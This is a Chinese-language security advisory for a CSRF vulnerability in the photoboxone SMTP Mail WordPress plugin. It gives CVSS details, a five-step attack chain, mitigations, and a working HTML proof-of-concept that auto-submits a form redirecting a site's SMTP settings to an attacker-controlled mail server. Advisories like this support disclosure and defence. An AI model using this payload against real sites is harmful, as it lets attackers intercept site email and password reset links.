CVE-2025-62762 CVSS 4.3 中危

CVE-2025-62762 WordPress SMTP Mail插件跨站请求伪造漏洞

披露日期: 2025-12-09

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-62762

漏洞类型

CSRF（跨站请求伪造）

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

photoboxone SMTP Mail WordPress插件

漏洞概述

CVE-2025-62762是WordPress插件photoboxone SMTP Mail中的一个跨站请求伪造（CSRF）漏洞。该插件版本从n/a至1.3.51均受影响。攻击者可以利用此漏洞诱导已登录的管理员用户在不知情的情况下执行非预期的操作，如修改SMTP配置设置、窃取邮件凭据或进行其他敏感操作。由于该漏洞需要用户交互（UI:R），攻击者通常通过社会工程学手段诱骗受害者访问恶意页面或点击特制链接。CVSS评分4.3表明该漏洞具有中等危害程度，主要影响系统的完整性和机密性。

技术细节

跨站请求伪造（CSRF）是一种利用用户已认证会话的攻击方式。在photoboxone SMTP Mail插件中，由于缺少适当的CSRF令牌验证，攻击者可以构造恶意请求诱导已登录的WordPress管理员执行未授权操作。攻击者通常会创建一个包含表单提交的恶意网页，当管理员访问该页面时，浏览器会自动发送已认证的请求到目标WordPress站点。攻击者可利用此漏洞修改SMTP配置参数（如SMTP服务器地址、端口、用户名、密码等），从而拦截或重定向邮件通信。攻击成功的前提是受害者必须保持登录状态且访问攻击者构造的恶意链接。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意表单的网页，该表单会向目标WordPress站点发送SMTP配置修改请求

STEP 2

步骤2

攻击者通过钓鱼邮件、社交媒体或其他渠道诱导已登录的WordPress管理员访问恶意页面

STEP 3

步骤3

管理员浏览器自动向目标站点发送已认证的请求，由于插件缺少CSRF验证，请求被接受

STEP 4

步骤4

SMTP配置被修改为攻击者控制的服务器，导致所有站点邮件被重定向或窃取

STEP 5

步骤5

攻击者获取敏感邮件信息、用户密码重置链接或其他机密数据

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!DOCTYPE html> <html> <head> <title>CSRF Attack PoC</title> </head> <body> <h1>CSRF PoC - SMTP Configuration Change</h1> <p>Submit this form to modify SMTP settings:</p> <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrf-form">  <input type="hidden" name="action" value="save_smtp_settings"> <input type="hidden" name="smtp_host" value="attacker-controlled-smtp.com"> <input type="hidden" name="smtp_port" value="587"> <input type="hidden" name="smtp_username" value="[email protected]"> <input type="hidden" name="smtp_password" value="stolen_password"> <input type="hidden" name="smtp_from" value="[email protected]"> </form> <script> // Auto-submit form on page load document.getElementById('csrf-form').submit(); </script> <p>If you see this text, the form has been submitted.</p> </body> </html>

影响范围

photoboxone SMTP Mail <= 1.3.51

防御指南

临时缓解措施

在官方修复发布前，可采取以下临时措施：1）禁用或删除该插件使用其他经过安全审计的SMTP插件替代；2）限制管理员后台访问，仅允许受信任的IP地址访问；3）监控WordPress站点的配置变更日志；4）对管理员进行安全意识培训，提醒不要点击可疑链接；5）使用Web应用防火墙（WAF）规则检测异常请求模式。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表